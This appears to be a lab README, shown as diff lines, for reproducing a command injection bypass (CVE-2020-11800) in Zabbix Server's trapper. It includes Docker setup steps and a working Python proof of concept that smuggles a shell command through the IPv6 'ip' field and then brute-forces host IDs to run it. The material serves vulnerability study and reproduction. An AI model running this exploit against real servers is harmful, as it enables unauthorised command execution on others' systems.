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+# Zabbix Server Active Proxy Trapper Command Injection Bypass (CVE-2020-11800)
+
+[中文版本(Chinese version)](README.zh-cn.md)
+
+Zabbix is a network monitoring and management system developed by Alexei Vladishev, based on a Server-Client architecture. In [CVE-2017-2824][1], there was a code execution vulnerability in the Server-side trapper command functionality. However, the patch for that vulnerability was incomplete, allowing attackers to bypass it using IPv6 to inject arbitrary commands.
+
+Reference:
+
+- https://xz.aliyun.com/t/8991
+
+## Environment Setup
+
+Execute the following command to start a complete Zabbix environment, including the Web interface, Server, 1 Agent, and MySQL database:
+
+```
+docker compose up -d
+```
+
+After executing the command, run `docker compose ps` to check if all containers have started successfully. If not, try running `docker compose up -d` again.
+
+To exploit this vulnerability, you need to enable the auto-registration feature on the server side. For instructions on how to enable it, please refer to [CVE-2017-2824][1].
+
+## Vulnerability Reproduction
+
+Modify the IP field in the [CVE-2017-2824][1] POC to create a new POC:
+
+```python
+import sys
+import socket
+import json
+import sys
+
+
+def send(ip, data):
+    conn = socket.create_connection((ip, 10051), 10)
+    conn.send(json.dumps(data).encode())
+    data = conn.recv(2048)
+    conn.close()
+    return data
+
+
+target = sys.argv[1]
+print(send(target, {"request":"active checks","host":"vulhub","ip":"ffff:::;touch /tmp/success2"}))
+for i in range(10000, 10500):
+    data = send(target, {"request":"command","scriptid":1,"hostid":str(i)})
+    if data and b'failed' not in data:
+        print('hostid: %d' % i)
+        print(data)
+```
+
+As you can see, this POC is very similar to the [CVE-2017-2824][1] POC, but I use IPv6 `ffff:::;touch /tmp/success2` to bypass the patch.
+
+When you see the following result, it indicates successful command execution:
+
+![](1.png)
+
+Enter the server container, and you can see that `/tmp/success2` has been successfully created:
+
+![](2.png)
+
+Interested users can improve this POC and submit a Pull Request.
+
+[1]: ../CVE-2017-2824